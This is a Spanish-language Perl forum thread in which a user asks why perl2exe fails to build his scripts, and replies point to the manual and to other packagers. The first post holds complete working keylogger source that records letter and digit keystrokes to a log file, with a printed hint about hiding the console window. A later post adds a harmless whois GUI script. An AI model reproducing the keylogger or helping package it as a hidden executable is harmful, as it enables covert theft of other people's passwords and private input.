Foro - Perl en Español

por **BigBear** » 2012-04-18 15:42 @696

Hola tengo el siguiente código.

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

#!usr/bin/perl
#KeyCagator (C) Doddy Hackman 2010
 
use Win32::API;
 
my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
 
while (true) {
    print "cerra la consola con perl2exe -gui\n";
    for my $num ( 0x30 .. 0x39 ) {
        if ( dame($num) ) {
            savefile( "logs.txt", chr($num) );
        }
    }
 
    for my $num ( 0x41 .. 0x5A ) {
        if ( dame($num) ) {
            savefile( "logs.txt", chr($num) );
        }
    }
 
}
 
sub dame {
    return ( $come->Call(@_) & 1 );
}
 
sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}
 
#Mail : lepuke[at]hotmail[com]
#Blog : doddy-hackman.blogspot.com
# ¿ The End ?
 
Coloreado en 0.003 segundos,  usando GeSHi 1.0.8.4

El problema es que cuando quiero convertirlo a exe usando per2exe me muestra este problema:
Imagen

Y en el ejecutable:
Imagen

¿ Alguien me puede ayudar ?

P.D.: el script lo he probado antes de usar perl2exe y funcionaba bien. El problema solo se da cuando uso perl2exe.

#!usr/bin/perl
#perl2exe_include Net::Whois::Raw
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd
 
use Tk; 
use Tk::ROText;
use Net::Whois::Raw;
 
if ($^O eq 'MSWin32') {
use Win32::Console; 
Win32::Console::Free();
}
 
my $new = MainWindow->new();
$new->geometry("390x300+50+50");
$new->title("Test");
$new->resizable(0,0);
 
$new->Label(-text=>"Dominio : ",-font=>"Impact2")->place(-x=>"10",-y=>"10");
my $dom = $new->Entry(-width=>"30")->place(-x=>"85",-y=>"13");
 
my $console = $new->ROText(-width=>36,-height=>15)->place(-x => 15, -y => 50);
 
$new->Button(-text=>"Buscar!",-command=>\&buscar,-width=>"10")->place(-x=>290,-y=>"50");
$new->Button(-text=>"Limpiar",-command=>\&limpiar,-width=>"10")->place(-x=>290,-y=>"80");
$new->Button(-text=>"Salir",-command=>\&salir,-width=>"10")->place(-x=>290,-y=>"110");
 
 
MainLoop;
 
 
sub buscar {
$console->delete("0.1","end");
my $target = $dom->get;
$new->update;
$console->insert("end",whois($target));
$new->update;
}
 
sub limpiar {
$console->delete("0.1","end");
$dom->delete("0.1","end");
}
 
sub salir { exit 1;}
 
# ¿ The End ?
Coloreado en 0.002 segundos,  usando GeSHi 1.0.8.4

y sigue dando error , ¿ cómo soluciono el problema ?

por **explorer** » 2012-04-19 02:50 @160

Pues has leído muy mal el manual, porque es justamente la nota número 4 del manual.

por **BigBear** » 2012-04-19 09:30 @437

Sí, mi inglés es peor que mi español.

Leí lo que me señalaste y agregué esto al código.

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

#perl2exe_include File/Glob
#perl2exe_include Net/Whois/Raw
#perl2exe_include Net/Whois/Raw/Common
 
Coloreado en 0.001 segundos,  usando GeSHi 1.0.8.4

Y el ejecutable me dice esto:

Sintáxis: [ Descargar ] [ Ocultar ]

Using text Syntax Highlighting

Use of uninitialized value in pattern match (m//) at PERL2EXE_STORAGE/utf8_heavy

.pl line 211.

Use of uninitialized value in scalar assignment at PERL2EXE_STORAGE/utf8_heavy.p

l line 227.

Use of uninitialized value in pattern match (m//) at PERL2EXE_STORAGE/utf8_heavy

.pl line 228.

panic: swash_get doesn't expect bits 4 at PERL2EXE_STORAGE/Net/Whois/Raw/Common.

pm line 414.

Compilation failed in require at PERL2EXE_STORAGE/Net/Whois/Raw.pm line 4.

Compilation failed in require at C:\Perl\perl2exe\whois.exe line 11.

BEGIN failed--compilation aborted at C:\Perl\perl2exe\whois.exe line 11.
Coloreado en 0.000 segundos,  usando GeSHi 1.0.8.4

¿ Me podrías explicar cómo lo arreglo ?

por **explorer** » 2012-04-19 10:23 @474

Que vaya por delante que yo no soy un experto en esta utilidad porque, principalmente, no me hace falta.

Yo solo te puedo decir qué es lo que dice el manual.

Y el manual, en la misma nota 4, dice que no, que lo has escrito mal.

O es así:

#perl2exe_include "File::Glob"

o es así:

#perl2exe_include "File/Glob.pm"

(de este último ejemplo tengo mis dudas. A lo mejor hay que poner la ruta completa a Glob.pm).

por **BigBear** » 2012-04-19 10:42 @487

Ya lo he probado de las dos formas diferentes y me sigue dando error, entonces, ¿no me podes recomendar alternativas a perl2exe para Active Perl? Escuche sobre pp pero no sé si también me sirve en Windows con ActivePerl.

por **explorer** » 2012-04-19 12:41 @570

La propia ActiveState tiene el Perl Dev Kit (PDK) con el que podrás crear los ejecutables.

En otros hilos hay más comentarios sobre pp y PAR. Pero creo que en CPAN han salido más opciones... no me acuerdo de los nombres. A lo mejor me confundo con PAR::Packer.

Foro - Perl en Español

Error con perl2exe

Error con perl2exe

Publicidad

Re: Error con perl2exe

Re: Error con perl2exe

Re: Error con perl2exe

Re: Error con perl2exe

Re: Error con perl2exe

Re: Error con perl2exe

Re: Error con perl2exe

¿Quién está conectado?